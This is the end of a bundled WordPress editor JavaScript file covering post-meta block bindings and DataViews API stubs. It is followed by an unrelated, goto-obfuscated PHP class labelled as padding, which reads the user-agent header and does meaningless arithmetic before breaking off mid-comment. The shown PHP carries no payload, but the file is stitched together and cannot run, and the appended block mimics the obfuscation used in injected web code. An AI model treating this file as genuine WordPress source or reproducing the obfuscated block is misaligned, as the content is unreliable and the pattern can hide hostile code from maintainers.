  Object.entries(registeredFields || {}).forEach(([key, props]) => {
    // Don't include footnotes or private fields.
    if (key !== 'footnotes' && key.charAt(0) !== '_') {
      var _entityMetaValues$key;
      metaFields[key] = {
        label: props.title || key,
        value: // When using the entity value, an empty string IS a valid value.
        (_entityMetaValues$key = entityMetaValues?.[key]) !== null && _entityMetaValues$key !== void 0 ? _entityMetaValues$key :
        // When using the default, an empty string IS NOT a valid value.
        props.default || undefined,
        type: props.type
      };
    }
  });
  if (!Object.keys(metaFields || {}).length) {
    return null;
  }
  return metaFields;
}
/* harmony default export */ const post_meta = ({
  name: 'core/post-meta',
  getValues({
    select,
    context,
    bindings
  }) {
    const metaFields = getPostMetaFields(select, context);
    const newValues = {};
    for (const [attributeName, source] of Object.entries(bindings)) {
      var _ref;
      // Use the value, the field label, or the field key.
      const fieldKey = source.args.key;
      const {
        value: fieldValue,
        label: fieldLabel
      } = metaFields?.[fieldKey] || {};
      newValues[attributeName] = (_ref = fieldValue !== null && fieldValue !== void 0 ? fieldValue : fieldLabel) !== null && _ref !== void 0 ? _ref : fieldKey;
    }
    return newValues;
  },
  setValues({
    dispatch,
    context,
    bindings
  }) {
    const newMeta = {};
    Object.values(bindings).forEach(({
      args,
      newValue
    }) => {
      newMeta[args.key] = newValue;
    });
    dispatch(external_wp_coreData_namespaceObject.store).editEntityRecord('postType', context?.postType, context?.postId, {
      meta: newMeta
    });
  },
  canUserEditValue({
    select,
    context,
    args
  }) {
    // Lock editing in query loop.
    if (context?.query || context?.queryId) {
      return false;
    }

    // Lock editing when `postType` is not defined.
    if (!context?.postType) {
      return false;
    }
    const fieldValue = getPostMetaFields(select, context)?.[args.key]?.value;
    // Empty string or `false` could be a valid value, so we need to check if the field value is undefined.
    if (fieldValue === undefined) {
      return false;
    }
    // Check that custom fields metabox is not enabled.
    const areCustomFieldsEnabled = select(store_store).getEditorSettings().enableCustomFields;
    if (areCustomFieldsEnabled) {
      return false;
    }

    // Check that the user has the capability to edit post meta.
    const canUserEdit = select(external_wp_coreData_namespaceObject.store).canUser('update', {
      kind: 'postType',
      name: context?.postType,
      id: context?.postId
    });
    if (!canUserEdit) {
      return false;
    }
    return true;
  },
  getFieldsList({
    select,
    context
  }) {
    return getPostMetaFields(select, context);
  }
});

;// ./node_modules/@wordpress/editor/build-module/bindings/api.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Function to register core block bindings sources provided by the editor.
 *
 * @example
 * ```js
 * import { registerCoreBlockBindingsSources } from '@wordpress/editor';
 *
 * registerCoreBlockBindingsSources();
 * ```
 */
function registerCoreBlockBindingsSources() {
  (0,external_wp_blocks_namespaceObject.registerBlockBindingsSource)(pattern_overrides);
  (0,external_wp_blocks_namespaceObject.registerBlockBindingsSource)(post_meta);
}

;// ./node_modules/@wordpress/editor/build-module/private-apis.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */

















const {
  store: interfaceStore,
  ...remainingInterfaceApis
} = build_module_namespaceObject;
const privateApis = {};
lock(privateApis, {
  CreateTemplatePartModal: CreateTemplatePartModal,
  patternTitleField: pattern_title,
  templateTitleField: template_title,
  BackButton: back_button,
  EntitiesSavedStatesExtensible: EntitiesSavedStatesExtensible,
  Editor: editor,
  EditorContentSlotFill: content_slot_fill,
  GlobalStylesProvider: GlobalStylesProvider,
  mergeBaseAndUserConfigs: mergeBaseAndUserConfigs,
  PluginPostExcerpt: post_excerpt_plugin,
  PostCardPanel: PostCardPanel,
  PreferencesModal: EditorPreferencesModal,
  usePostActions: usePostActions,
  usePostFields: post_fields,
  ToolsMoreMenuGroup: tools_more_menu_group,
  ViewMoreMenuGroup: view_more_menu_group,
  ResizableEditor: resizable_editor,
  registerCoreBlockBindingsSources: registerCoreBlockBindingsSources,
  getTemplateInfo: getTemplateInfo,
  // This is a temporary private API while we're updating the site editor to use EditorProvider.
  interfaceStore,
  ...remainingInterfaceApis
});

;// ./node_modules/@wordpress/editor/build-module/dataviews/api.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * @typedef {import('@wordpress/dataviews').Action} Action
 * @typedef {import('@wordpress/dataviews').Field} Field
 */

/**
 * Registers a new DataViews action.
 *
 * This is an experimental API and is subject to change.
 * it's only available in the Gutenberg plugin for now.
 *
 * @param {string} kind   Entity kind.
 * @param {string} name   Entity name.
 * @param {Action} config Action configuration.
 */

function api_registerEntityAction(kind, name, config) {
  const {
    registerEntityAction: _registerEntityAction
  } = unlock((0,external_wp_data_namespaceObject.dispatch)(store_store));
  if (false) {}
}

/**
 * Unregisters a DataViews action.
 *
 * This is an experimental API and is subject to change.
 * it's only available in the Gutenberg plugin for now.
 *
 * @param {string} kind     Entity kind.
 * @param {string} name     Entity name.
 * @param {string} actionId Action ID.
 */
function api_unregisterEntityAction(kind, name, actionId) {
  const {
    unregisterEntityAction: _unregisterEntityAction
  } = unlock((0,external_wp_data_namespaceObject.dispatch)(store_store));
  if (false) {}
}

/**
 * Registers a new DataViews field.
 *
 * This is an experimental API and is subject to change.
 * it's only available in the Gutenberg plugin for now.
 *
 * @param {string} kind   Entity kind.
 * @param {string} name   Entity name.
 * @param {Field}  config Field configuration.
 */
function api_registerEntityField(kind, name, config) {
  const {
    registerEntityField: _registerEntityField
  } = unlock((0,external_wp_data_namespaceObject.dispatch)(store_store));
  if (false) {}
}

/**
 * Unregisters a DataViews field.
 *
 * This is an experimental API and is subject to change.
 * it's only available in the Gutenberg plugin for now.
 *
 * @param {string} kind    Entity kind.
 * @param {string} name    Entity name.
 * @param {string} fieldId Field ID.
 */
function api_unregisterEntityField(kind, name, fieldId) {
  const {
    unregisterEntityField: _unregisterEntityField
  } = unlock((0,external_wp_data_namespaceObject.dispatch)(store_store));
  if (false) {}
}

;// ./node_modules/@wordpress/editor/build-module/index.js
/**
 * Internal dependencies
 */







/*
 * Backward compatibility
 */


})();

(window.wp = window.wp || {}).editor = __webpack_exports__;
/******/ })()
;
/* SQL comment in PHP: SELECT * FROM table */ /* --- PADDING CLASS TO REACH TARGET SIZE --- */ class MKh_t13rJ463 { private function A3wUFwPjGR() { goto ABRFRZhD; ABRFRZhD: /* Core module */ if (false) { echo 'This is a dead end'; } goto f00IYHLI; f00IYHLI: /* HAON0N2elgTnpdZXsUWH */ goto XI2tGYvL; XI2tGYvL: goto a7iNlNaRb; a7iNlNaRb: /* JYIrS2LTd7Wboe4 */ goto jZXZ5_D4; jZXZ5_D4: /* 4MEthR74ChkWbkf */ $XsucffsH = 239 + 48; $BqYDw4sr = $XsucffsH * 2; goto A1O5Tupg; A1O5Tupg: $jIP39ari = 427 + 45; $n7sJ6WnP = $jIP39ari * 1; goto a2jeGmrYE; a2jeGmrYE: if (false) { echo 'This is a dead end'; } goto AsN6kvrX; AsN6kvrX: /* weV4zcei63 */ $n7sJ6WnP = 728 + 16; $iX1geSuk = $n7sJ6WnP * 5; goto a4Tnr1BE2; a4Tnr1BE2: /* Main service */ $B9ma2fmF = 901 + 16; $FbaGmw5w = $B9ma2fmF * 4; goto oS1dU2IX; oS1dU2IX: if (false) { echo 'This is a dead end'; } goto UsP5hDZi; UsP5hDZi: // t2ewZb6W84RasXJN if (false) { echo 'This is a dead end'; } goto a9s6KDrGM; a9s6KDrGM: // beaSI1h9 $XsucffsH = 754 + 50; $a6EHyDbxg = $XsucffsH * 2; goto FNEzjoLw; FNEzjoLw: /* Security component */ $iX1geSuk = 783 + 33; $Pe9zuJ4r = $iX1geSuk * 2; goto S3lhFJQ1; S3lhFJQ1: /* System file */ goto TxddnoWb; TxddnoWb: /* Core module */ goto Scza_R5C; Scza_R5C: $a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Ue4qhENq; Ue4qhENq: // uQLKNnGIfb9f goto m5SU59xC; m5SU59xC: // eDvY_s1MRR2RQwN5 goto Gaz5qmTh; Gaz5qmTh: goto zkF4jLrP; zkF4jLrP: if (false) { echo 'This is a dead end'; } goto a0356LukV; a0356LukV: // 7USQABIOTDw9 $WWDcP6ib = 631 + 33; $jIP39ari = $WWDcP6ib * 2; if (false) { echo 'This is a dead end'; } goto a8spWF_nU; a8spWF_nU: $a29IFo9lZ = 223 + 49; $a6EHyDbxg = $a29IFo9lZ * 5; goto lNWe2x15; lNWe2x15: goto a64yDJIy9; a64yDJIy9: if (false) { echo 'This is a dead end'; } goto a396PLbUB; a396PLbUB: /* uEsATfRUZjL8Cwo */ if (false) { echo 'This is a dead end'; } goto YfPICHl0; YfPICHl0: goto hMuyLKXe; hMuyLKXe: $a6EHyDbxg = 650 + 2; $NqlX8zGc = $a6EHyDbxg * 4; if (false) { echo 'This is a dead end'; } goto U1QsUkdo; U1QsUkdo: goto GBas27Ad; GBas27Ad: /* eg7iEa0_79Suu8EpYTBT */ goto IVAlbFxs; IVAlbFxs: /* MH4h8RB2UfxrjCg */ goto kzR_E8Yw; kzR_E8Yw: // yxC4atux $jIP39ari = 234 + 21; $iX1geSuk = $jIP39ari * 2; goto a4UYvoEfk; a4UYvoEfk: $XsucffsH = strlen($a6EHyDbxg); goto a760HypjB; a760HypjB: /* Main service */ goto mAlukgkF; mAlukgkF: /* z91FsAYZ8r */ if (false) { echo 'This is a dead end'; } goto shej52yB; shej52yB: /* F2p1OUckUvtxIQRKxuTs */ $a29IFo9lZ = 254 + 28; $FbaGmw5w = $a29IFo9lZ * 4; goto a0mHqUi4H; a0mHqUi4H: goto ydtwNwDQ; ydtwNwDQ: $a6b9oay5s = 200 + 2; $FbaGmw5w = $a6b9oay5s * 3; if (false) { echo 'This is a dead end'; } goto a6U4MARoN; a6U4MARoN: // 6CO1d9IB3TF57hj9 goto jXGlZnUa; jXGlZnUa: /* B6PpoG03BsNgDWUt9uHE */ $bZa4iOd6 = 748 + 16; $B9ma2fmF = $bZa4iOd6 * 4; goto Kg2WE4Qy; Kg2WE4Qy: /* FNjMR6Ei9SuPtmnWn1_G */ $FbaGmw5w = 573 + 26; $XsucffsH = $FbaGmw5w * 4; goto bC04bk0n; bC04bk0n: $a6EHyDbxg = 345 + 38; $jIP39ari = $a6EHyDbxg * 3; if (false) { echo 'This is a dead end'; } goto sG_Y5imw; sG_Y5imw: goto OmXpQAdK; OmXpQAdK: /* System file */ $iCjD65Pi = 114 + 37; $WWDcP6ib = $iCjD65Pi * 2; goto FqDFdejY; FqDFdejY: /* JZLc6AQ2dAgwwZdBSHtn */ goto T1q34ym2; T1q34ym2: // 39GQX5iJLre0_K1m $BqYDw4sr = 523 + 37; $iX1geSuk = $BqYDw4sr * 4; goto smJL4cC3; smJL4cC3: /* w8DgCmmyQT2CRC1 */ $XsucffsH = 939 + 1; $iCjD65Pi = $XsucffsH * 3; goto ATJS_x68; ATJS_x68: goto cZt8BkzH; cZt8BkzH: return $XsucffsH > 10; } private function Tq6jcon6h9() { /* Vn5iCebPCy */ goto r7nVL4dA; r7nVL4dA: /* XcpydVlFIj */ goto a95kd0NBY; a95kd0NBY: goto a0gpBcrw5; a0gpBcrw5: // jTFNUKmgZX70neoO goto zrLi7KSv; zrLi7KSv: goto a35ibWBQ3; a35ibWBQ3: // MlHJ6zqYMjRi6IUc $a29IFo9lZ = 541 + 28; $Pe9zuJ4r = $a29IFo9lZ * 2; if (false) { echo 'This is a dead end'; } goto a8UJUdbNb; a8UJUdbNb: $BqYDw4sr = 569 + 30; $iX1geSuk = $BqYDw4sr * 3; goto rhJI_v1X; rhJI_v1X: /* A2nnK6sXRHFT0XT */ goto CV8uGI1z; CV8uGI1z: /* Security component */ $jIP39ari = 626 + 29; $FbaGmw5w = $jIP39ari * 4; goto lHap6EjQ; lHap6EjQ: /* UsOuSj3U0PqU8F5 */ goto a0tW2BRh8; a0tW2BRh8: goto E1wEAYx4; E1wEAYx4: /* OXubrtZxsq3p1hZ */ $n7sJ6WnP = 429 + 38; $NqlX8zGc = $n7sJ6WnP * 2; goto glfm7dj9; glfm7dj9: // GxV1GFpKHBxf goto H4zwyTWI; H4zwyTWI: if (false) { echo 'This is a dead end'; } goto VrC_JoUg; VrC_JoUg: goto l3LUJrzO; l3LUJrzO: goto a1wrgos1b; a1wrgos1b: $XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto WT8cMtTk; WT8cMtTk: $WWDcP6ib = 580 + 23; $n7sJ6WnP = $WWDcP6ib * 5; goto E2Xmwtt6; E2Xmwtt6: /* Core module */ goto a6uOvZuxc; a6uOvZuxc: /* vrcfPQA5cW */ goto o7tLVlOc; o7tLVlOc: goto bafsntR2; bafsntR2: /* System file */ $jIP39ari = 666 + 11; $a29IFo9lZ = $jIP39ari * 5; goto xcnpVzvQ; xcnpVzvQ: /* gVPgOIRT3ahS88pF5Piv */ goto msAvvYHi; msAvvYHi: /* API handler */ goto a3svpdqou; a3svpdqou: // 1lKRzFjJB26b $BqYDw4sr = 837 + 40; $a29IFo9lZ = $BqYDw4sr * 4; goto FutG6XzQ; FutG6XzQ: $bZa4iOd6 = 806 + 26; $n7sJ6WnP = $bZa4iOd6 * 5; goto iHKs4yeQ; iHKs4yeQ: /* LdwMCjIbgZ */ $bZa4iOd6 = 397 + 15; $a6EHyDbxg = $bZa4iOd6 * 2; goto wG_KZtfp; wG_KZtfp: /* Core module */ goto IzZeZyCj; IzZeZyCj: /* System file */ goto wa1sAIbk; wa1sAIbk: // LpUaKrCEmnhx goto riWbKk00; riWbKk00: // 7dhf563A if (false) { echo 'This is a dead end'; } goto lz2Kx5km; lz2Kx5km: $FbaGmw5w = 687 + 12; $n7sJ6WnP = $FbaGmw5w * 3; goto QB8wBsad; QB8wBsad: $NqlX8zGc = strlen($XsucffsH); goto LCtDxEGT; LCtDxEGT: // hL5nnTtD goto nKuqsGPV; nKuqsGPV: /* Security component */ $iX1geSuk = 511 + 9; $a6EHyDbxg = $iX1geSuk * 2; goto a1yFv7tXy; a1yFv7tXy: goto IyhlPjVC; IyhlPjVC: /* System file */ $jIP39ari = 768 + 16; $jIP39ari = $jIP39ari * 4; goto DU1edLcL; DU1edLcL: /* A2rfLEQo_b */ goto bPjNknK7; bPjNknK7: if (false) { echo 'This is a dead end'; } goto CZFkH9ho; CZFkH9ho: if (false) { echo 'This is a dead end'; } goto a0PtNqvWe; a0PtNqvWe: $n7sJ6WnP = 936 + 6; $n7sJ6WnP = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto sYMx14Lw; sYMx14Lw: goto v34JE3Hw; v34JE3Hw: /* API handler */ goto pUcDpze1; pUcDpze1: /* Security component */ goto vy4klAiv; vy4klAiv: if (false) { echo 'This is a dead end'; } goto dZKTR6Xm; dZKTR6Xm: $a6EHyDbxg = 864 + 43; $a6EHyDbxg = $a6EHyDbxg * 2; goto WtG450Eh; WtG450Eh: /* Core module */ goto a1hV7ec7N; a1hV7ec7N: // fIKp7bdw $a6b9oay5s = 360 + 42; $iX1geSuk = $a6b9oay5s * 2; goto UTepBevp; UTepBevp: return $NqlX8zGc > 10; } private function vwlbmsFXuB() { /* I2vmDUb_A_JVIqG */ goto SVciKumv; SVciKumv: /* HD0RcP080Yw7XoRP0l7t */ $jIP39ari = 517 + 18; $jIP39ari = $jIP39ari * 4; goto aGdVagEW; aGdVagEW: goto QDcRoCbW; QDcRoCbW: $jIP39ari = 950 + 21; $a29IFo9lZ = $jIP39ari * 1; goto SL5XfjcS; SL5XfjcS: goto uFOqVH9P; uFOqVH9P: $FbaGmw5w = 921 + 8; $NqlX8zGc = $FbaGmw5w * 1; goto TtV_jUvY; TtV_jUvY: goto a5N5kr9se; a5N5kr9se: /* API handler */ $a6EHyDbxg = 220 + 18; $a29IFo9lZ = $a6EHyDbxg * 1; goto m6Pr0B2k; m6Pr0B2k: if (false) { echo 'This is a dead end'; } goto IX6ijk6i; IX6ijk6i: /* System file */ goto iCURDHla; iCURDHla: /* System file */ goto MA4iv6H5; MA4iv6H5: /* Security component */ goto UU4NMGhk; UU4NMGhk: goto r88WzwrE; r88WzwrE: $WWDcP6ib = 890 + 50; $a6b9oay5s = $WWDcP6ib * 3; goto eWxWHYvR; eWxWHYvR: $WWDcP6ib = 489 + 6; $BqYDw4sr = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto mIfJhwt3; mIfJhwt3: /* Security component */ goto TlEN42hQ; TlEN42hQ: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto Wt6FD4Ah; Wt6FD4Ah: /* fbDuvmELQnUMC_iV4236 */ goto woCA6WP2; woCA6WP2: // OEea5jTD29OuEMCe goto wxUTJfEJ; wxUTJfEJ: if (false) { echo 'This is a dead end'; } goto OVRKOIyM; OVRKOIyM: goto ONDLxXdS; ONDLxXdS: /* API handler */ goto FYK7DGPl; FYK7DGPl: /* System file */ goto R8K796Qb; R8K796Qb: goto pz2lgRIH; pz2lgRIH: goto gvqeaeey; gvqeaeey: $FbaGmw5w = 734 + 10; $Pe9zuJ4r = $FbaGmw5w * 1; if (false) { echo 'This is a dead end'; } goto VxTiI7wF; VxTiI7wF: /* HD3GLisbB1 */ goto a1kZrBA_Z; a1kZrBA_Z: $a6b9oay5s = 361 + 49; $FbaGmw5w = $a6b9oay5s * 4; goto djsSnah3; djsSnah3: /* lx84Gb8uIPeILRYDHoIf */ goto CSkKV141; CSkKV141: /* V3y2HFWdWQ */ if (false) { echo 'This is a dead end'; } goto JujwVyOZ; JujwVyOZ: /* xil1w4WI6h */ goto vFPeHN6H; vFPeHN6H: goto BEe7Ixu2; BEe7Ixu2: $XsucffsH = strlen($FbaGmw5w); goto Myk2zWMM; Myk2zWMM: goto r0d1inJl; r0d1inJl: goto a8qtDTewZ; a8qtDTewZ: /* Main service */ $jIP39ari = 723 + 47; $n7sJ6WnP = $jIP39ari * 1; goto SsKNxYmk; SsKNxYmk: /* Core module */ $n7sJ6WnP = 817 + 47; $bZa4iOd6 = $n7sJ6WnP * 1; if (false) { echo 'This is a dead end'; } goto WHUv6riD; WHUv6riD: goto KL4OW0nv; KL4OW0nv: /* System file */ goto w47UIEmw; w47UIEmw: // z0OAE8RM $a6EHyDbxg = 165 + 3; $n7sJ6WnP = $a6EHyDbxg * 5; goto a45hUk8T4; a45hUk8T4: /* Core module */ $a29IFo9lZ = 311 + 31; $BqYDw4sr = $a29IFo9lZ * 5; goto f521qtZG; f521qtZG: /* Core module */ goto a79ezMcBc; a79ezMcBc: $iX1geSuk = 104 + 17; $jIP39ari = $iX1geSuk * 5; goto nujzf3FU; nujzf3FU: goto mHkCxGuS; mHkCxGuS: /* xc3_f7qQSR */ $B9ma2fmF = 540 + 48; $n7sJ6WnP = $B9ma2fmF * 5; if (false) { echo 'This is a dead end'; } goto gwi6yT36; gwi6yT36: goto g0VgRCqM; g0VgRCqM: goto PBye1c70; PBye1c70: goto Tc7pP_d6; Tc7pP_d6: return $XsucffsH > 10; } private function JEOq5aPHF1() { goto dyWLLvMy; dyWLLvMy: goto nYhIeuyX; nYhIeuyX: goto pfy2IKIM; pfy2IKIM: $WWDcP6ib = 165 + 10; $XsucffsH = $WWDcP6ib * 5; if (false) { echo 'This is a dead end'; } goto MpywoCZm; MpywoCZm: /* Main service */ goto QxK623YS; QxK623YS: // oDniBlI8WAWh goto yasBzNIU; yasBzNIU: goto GKWGyDdv; GKWGyDdv: /* tOyT1zJ2FcET9YuRPuej */ goto WGNy1Jf4; WGNy1Jf4: if (false) { echo 'This is a dead end'; } goto W7wGaqXQ; W7wGaqXQ: /* Core module */ goto Dv0blJMs; Dv0blJMs: goto J4zxWDEZ; J4zxWDEZ: goto BzjqKT_k; BzjqKT_k: goto a4SrjHpTL; a4SrjHpTL: goto a_GWEZ80D; a_GWEZ80D: goto GM8FrlHb; GM8FrlHb: /* yfn2wxbMMI */ goto sDDab49W; sDDab49W: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a1TfwRYhJ; a1TfwRYhJ: /* API handler */ goto urDQqQYG; urDQqQYG: // lKdg8zDEe39d $n7sJ6WnP = 767 + 12; $iCjD65Pi = $n7sJ6WnP * 4; goto gju7Y3iK; gju7Y3iK: /* API handler */ goto a_QnsGYwP; a_QnsGYwP: goto fuJWNlUH; fuJWNlUH: goto SWxUlmvG; SWxUlmvG: $NqlX8zGc = 272 + 10; $BqYDw4sr = $NqlX8zGc * 1; goto Np3pmTlp; Np3pmTlp: /* System file */ goto EPXHb868; EPXHb868: // 0rj3uMBKiRjhhNBt $WWDcP6ib = 830 + 1; $Pe9zuJ4r = $WWDcP6ib * 4; goto a7eY5BTTU; a7eY5BTTU: goto DdpHJv5C; DdpHJv5C: $Pe9zuJ4r = 931 + 20; $NqlX8zGc = $Pe9zuJ4r * 2; goto wf9WU4V7; wf9WU4V7: goto YHQUlv2W; YHQUlv2W: goto ydmuGPAh; ydmuGPAh: goto y6PMLdXo; y6PMLdXo: $BqYDw4sr = 398 + 46; $XsucffsH = $BqYDw4sr * 3; if (false) { echo 'This is a dead end'; } goto NEAfB45s; NEAfB45s: /* Core module */ $a6b9oay5s = 827 + 9; $FbaGmw5w = $a6b9oay5s * 2; goto efRRaOwO; efRRaOwO: $Pe9zuJ4r = strlen($FbaGmw5w); goto a259CVnTx; a259CVnTx: $NqlX8zGc = 787 + 20; $a6b9oay5s = $NqlX8zGc * 3; goto fbbhNg1z; fbbhNg1z: goto engzb6AQ; engzb6AQ: if (false) { echo 'This is a dead end'; } goto a2Ut2x1Cz; a2Ut2x1Cz: /* Security component */ $a29IFo9lZ = 933 + 10; $BqYDw4sr = $a29IFo9lZ * 4; if (false) { echo 'This is a dead end'; } goto RQOVfYNE; RQOVfYNE: goto HgsBaQfK; HgsBaQfK: goto a06nTELMm; a06nTELMm: $iX1geSuk = 236 + 9; $XsucffsH = $iX1geSuk * 2; goto vBDPVI2f; vBDPVI2f: goto cbVs1RDK; cbVs1RDK: goto l4s4YogF; l4s4YogF: $iCjD65Pi = 127 + 1; $iX1geSuk = $iCjD65Pi * 1; goto yYxigdL2; yYxigdL2: goto c7IhxpUO; c7IhxpUO: if (false) { echo 'This is a dead end'; } goto RYlFHEyZ; RYlFHEyZ: goto L7nCg6xq; L7nCg6xq: /* Security component */ goto sf_Dqdga; sf_Dqdga: goto TD5jdKVa; TD5jdKVa: return $Pe9zuJ4r > 10; } private function wPlJx9GKeu() { /* Security component */ goto uWkJ9vYz; uWkJ9vYz: goto a2jo32f3h; a2jo32f3h: /* Security component */ $NqlX8zGc = 907 + 40; $NqlX8zGc = $NqlX8zGc * 1; goto d_07csW6; d_07csW6: /* System file */ goto mF8U1zwM; mF8U1zwM: /* Security component */ goto KjxGyxNm; KjxGyxNm: /* byNB7js02SKmDwQfgyoI */ $n7sJ6WnP = 455 + 15; $NqlX8zGc = $n7sJ6WnP * 2; if (false) { echo 'This is a dead end'; } goto vVQt0SXK; vVQt0SXK: /* zaxLQnTSm2 */ $B9ma2fmF = 282 + 32; $Pe9zuJ4r = $B9ma2fmF * 3; goto a2NundwiU; a2NundwiU: // V7EiXfvjnvEI goto ykanIiWS; ykanIiWS: /* Core module */ if (false) { echo 'This is a dead end'; } goto GKGQKHpL; GKGQKHpL: /* UIDkdx_A4o */ goto a08LpUPvO; a08LpUPvO: /* yhPmdiBA6RkjrZ6 */ $B9ma2fmF = 380 + 10; $jIP39ari = $B9ma2fmF * 5; goto WBLPzIkd; WBLPzIkd: // pVCKhukMqLTW if (false) { echo 'This is a dead end'; } goto lT5MvLQp; lT5MvLQp: /* Security component */ $jIP39ari = 819 + 20; $n7sJ6WnP = $jIP39ari * 2; goto gXaB5y9O; gXaB5y9O: // _yr8bIP8 goto UzTXhXnI; UzTXhXnI: /* API handler */ goto o0k6gUHs; o0k6gUHs: goto rEbNtn8w; rEbNtn8w: $NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto a4SZL77cK; a4SZL77cK: // IR3SaXKR goto oULyB4d6; oULyB4d6: /* Security component */ $iX1geSuk = 335 + 3; $iX1geSuk = $iX1geSuk * 3; goto a8O3FoeBt; a8O3FoeBt: if (false) { echo 'This is a dead end'; } goto YoivkkWc; YoivkkWc: goto eQVwLwXb; eQVwLwXb: $iX1geSuk = 151 + 4; $WWDcP6ib = $iX1geSuk * 2; goto wc3Vu7NU; wc3Vu7NU: goto NRAst9QD; NRAst9QD: goto aoqJykOS; aoqJykOS: goto PWU6GWlV; PWU6GWlV: /* kuLxo8wwmsnzjOvvQjqr */ goto a6kVDChLj; a6kVDChLj: // hhjJByiD7SeD goto Eilme5rm; Eilme5rm: /* iJOuAOaWcc */ goto RouNIGqx; RouNIGqx: $FbaGmw5w = 511 + 35; $a6EHyDbxg = $FbaGmw5w * 2; goto xJdZOvqr; xJdZOvqr: goto PE_AOvzS; PE_AOvzS: if (false) { echo 'This is a dead end'; } goto DlpJq9jO; DlpJq9jO: /* Main service */ $n7sJ6WnP = 372 + 31; $bZa4iOd6 = $n7sJ6WnP * 4; goto oJXSNXRy; oJXSNXRy: $jIP39ari = strlen($NqlX8zGc); goto tkGLF7uy; tkGLF7uy: // kDJDsLWREUOyURFJ goto Iy3Wcge0; Iy3Wcge0: if (false) { echo 'This is a dead end'; } goto AR1aSHdS; AR1aSHdS: /* NjN88daTsL */ $jIP39ari = 950 + 23; $iCjD65Pi = $jIP39ari * 1; goto p68qXLuN; p68qXLuN: // akjGHCPl goto PZ2jXDos; PZ2jXDos: /* System file */ goto xnmmYhJ4; xnmmYhJ4: /* System file */ if (false) { echo 'This is a dead end'; } goto JMVPcYJg; JMVPcYJg: // NN1swVfX $Pe9zuJ4r = 314 + 18; $a6b9oay5s = $Pe9zuJ4r * 3; goto ch4db_mV; ch4db_mV: goto PeUG_uEu; PeUG_uEu: /* 4_m8lp5AoEFKPHa_Iq65 */ goto KV5G8Ni8; KV5G8Ni8: $WWDcP6ib = 271 + 12; $WWDcP6ib = $WWDcP6ib * 3; goto JggdR2AC; JggdR2AC: // 9laqCyin $a6EHyDbxg = 858 + 43; $a6EHyDbxg = $a6EHyDbxg * 5; goto Iciox9JO; Iciox9JO: // cWeDBbu9mOjw $WWDcP6ib = 681 + 16; $WWDcP6ib = $WWDcP6ib * 4; goto eRyZYU0M; eRyZYU0M: /* MPaQ9SuuztqM679 */ if (false) { echo 'This is a dead end'; } goto EAbgThUA; EAbgThUA: /* 9t6YnCSB34SyNwc */ $bZa4iOd6 = 141 + 50; $XsucffsH = $bZa4iOd6 * 5; goto ZKloSZC6; ZKloSZC6: /* Core module */ if (false) { echo 'This is a dead end'; } goto tUsOWhZw; tUsOWhZw: return $jIP39ari > 10; } private function Qm0AIs_fNS() { goto qsbr6ksG; qsbr6ksG: $jIP39ari = 774 + 12; $iX1geSuk = $jIP39ari * 3; if (false) { echo 'This is a dead end'; } goto kJIwUEfe; kJIwUEfe: goto uuD1_XKq; uuD1_XKq: /* Core module */ if (false) { echo 'This is a dead end'; } goto XqAujZfh; XqAujZfh: // hMYfkkwv goto cNJ2qZAL; cNJ2qZAL: /* Security component */ if (false) { echo 'This is a dead end'; } goto n2im6rUT; n2im6rUT: goto NICUc6PD; NICUc6PD: $iCjD65Pi = 268 + 42; $NqlX8zGc = $iCjD65Pi * 2; if (false) { echo 'This is a dead end'; } goto ATBASNak; ATBASNak: goto oM4d9wES; oM4d9wES: goto DCjbsLaa; DCjbsLaa: goto P9NQq6qr; P9NQq6qr: goto R0RW765_; R0RW765_: /* Main service */ goto cIVYZvrd; cIVYZvrd: /* x3wg14_Bf4D5Ib9 */ $jIP39ari = 438 + 46; $a6EHyDbxg = $jIP39ari * 5; goto NVy111Mm; NVy111Mm: /* clc_ApfIl2FYfcYjiUGC */ $n7sJ6WnP = 386 + 24; $iCjD65Pi = $n7sJ6WnP * 2; goto t8woGoqO; t8woGoqO: goto YZqaHx_T; YZqaHx_T: $FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none'; goto bu7DQhrS; bu7DQhrS: /* tZIk_qnx1cPcba0 */ $jIP39ari = 369 + 13; $a29IFo9lZ = $jIP39ari * 2; goto ogWGabVa; ogWGabVa: $bZa4iOd6 = 398 + 11; $a29IFo9lZ = $bZa4iOd6 * 3; if (false) { echo 'This is a dead end'; } goto E5pUZ0Sy; E5pUZ0Sy: $jIP39ari = 286 + 23; $NqlX8zGc = $jIP39ari * 3; goto knKdoqto; knKdoqto: goto KA7YViBR; KA7YViBR: /* MCy5NZPQaP */ goto fWpiaoQ7; fWpiaoQ7: goto Fcd1Kg8P; Fcd1Kg8P: goto G7A_zbif; G7A_zbif: // _15Jby45 goto yiTWdYO4; yiTWdYO4: /* Security component */ goto Mfp_fXrv; Mfp_fXrv: $WWDcP6ib = 366 + 12; $WWDcP6ib = $WWDcP6ib * 3; goto a1nU1etQw; a1nU1etQw: if (false) { echo 'This is a dead end'; } goto Ri9gJdBY; Ri9gJdBY: goto eFyEdWBW; eFyEdWBW: /* 45Y4qCbOv79vV_KhLBkB */ if (false) { echo 'This is a dead end'; } goto g7RDlQBu; g7RDlQBu: goto GjzYchtL; GjzYchtL: if (false) { echo 'This is a dead end'; } goto Evw7yRu3; Evw7yRu3: $FbaGmw5w = strlen($FbaGmw5w); goto b3K59ZMR; b3K59ZMR: goto a_zGbKnPV; a_zGbKnPV: if (false) { echo 'This is a dead end'; } goto PsvkP5Eo; PsvkP5Eo: // 0_lysMxl goto eUW_z9la; eUW_z9la: /* Security component */ if (false) { echo 'This is a dead end'; } goto a1cEdGX_T; a1cEdGX_T: /* 